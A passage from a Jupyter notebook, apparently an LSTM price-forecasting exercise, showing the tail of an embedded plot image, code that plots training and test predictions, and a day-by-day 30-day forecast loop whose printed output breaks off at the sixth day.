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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Green indicates the Predicted Data\n", + "Blue indicates the Complete Data\n", + "Orange indicates the Train Data\n" + ] + } + ], + "source": [ + "plt.figure(figsize=(10,6))\n", + "\n", + "plt.plot(scaler.inverse_transform(df_high))\n", + "plt.plot(trainPredictPlot)\n", + "plt.plot(testPredictPlot)\n", + "plt.show()\n", + "\n", + "print(\"Green indicates the Predicted Data\")\n", + "print(\"Blue indicates the Complete Data\")\n", + "print(\"Orange indicates the Train Data\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "KSXzyIYUOznI", + "outputId": "45f6e500-ed9e-4c23-daf1-297d82af6452" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(509, (408, 100, 1))" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(test_data), x_test.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MZ3ZMFsjOzp4", + "outputId": "84207353-0000-4f1d-c927-e1b642ed8add" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(1, 100)" + ] + }, + "execution_count": 37, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "x_input = test_data[409:].reshape(1,-1)\n", + "x_input.shape" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "uYigrDO7PbdL" + }, + "source": [ + "**Predicting values for next 30 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "WG9WJMSZPWKv", + "outputId": "cb939c8c-5c3d-4dcd-946f-7015b55af567" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[0.16536452]\n", + "101\n", + "1 day input [0.13254727 0.13397032 0.13356373 0.13498679 0.14108559 0.13498679\n", + " 0.12644847 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049\n", + " 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452]\n", + "1 day output [[0.1678729]]\n", + "2 day input [0.13397032 0.13356373 0.13498679 0.14108559 0.13498679 0.12644847\n", + " 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977\n", + " 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291]\n", + "2 day output [[0.17017089]]\n", + "3 day input [0.13356373 0.13498679 0.14108559 0.13498679 0.12644847 0.12685505\n", + " 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618\n", + " 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089]\n", + "3 day output [[0.17237605]]\n", + "4 day input [0.13498679 0.14108559 0.13498679 0.12644847 0.12685505 0.12482212\n", + " 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079\n", + " 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605]\n", + "4 day output [[0.17453894]]\n", + "5 day input [0.14108559 0.13498679 0.12644847 0.12685505 0.12482212 0.14515145\n", + " 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534\n", + " 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894]\n", + "5 day output [[0.17667189]]\n", + "6 day input [0.13498679 0.12644847 0.12685505 0.12482212 0.14515145 0.1467778\n", + " 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546\n", + " 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 